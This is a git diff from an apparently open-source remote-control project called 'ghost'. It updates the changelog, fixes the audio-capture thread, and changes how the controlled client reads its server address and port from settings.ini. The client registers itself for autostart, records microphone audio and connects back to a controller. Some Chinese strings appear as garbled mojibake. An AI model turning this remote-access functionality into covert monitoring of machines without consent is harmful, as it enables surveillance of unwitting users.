diff --git a/ReadMe.txt b/ReadMe.txt index c2bb4f3..8db0d8e 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -189,3 +189,7 @@ ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。 2019.4.15 明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。 + +2019.4.19 +1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。 +2、CAudio的线程waveInCallBack在while循环有一处return,已改为break. diff --git a/client/Audio.cpp b/client/Audio.cpp index 0d003b1..a0b1d81 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -178,7 +178,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); if (mmResult != MMSYSERR_NOERROR) - return -1; + break; } if (Msg.message == MM_WIM_CLOSE) diff --git a/client/test.cpp b/client/test.cpp index 07ee423..e3583bd 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -71,7 +71,7 @@ int main(int argc, const char *argv[]) { if(!SetSelfStart(argv[0], "a_ghost")) { - std::cout<<"ÿʧ.\n"; + std::cout<<"ÿʧܣùԱȨ.\n"; } status = 0; SetConsoleCtrlHandler(&callback, TRUE); @@ -92,11 +92,11 @@ int main(int argc, const char *argv[]) int &port = g_ConnectAddress.iPort; if (0 == strlen(ip)) { - strcpy(p+1, "remote.ini"); - GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("remote", "port", 2356, path); + strcpy(p+1, "settings.ini"); + GetPrivateProfileStringA("settings", "localIp", "127.0.0.1", ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("settings", "ghost", 2356, path); } - printf("[remote] %s:%d\n", ip, port); + printf("[server] %s:%d\n", ip, port); do { run(ip, port);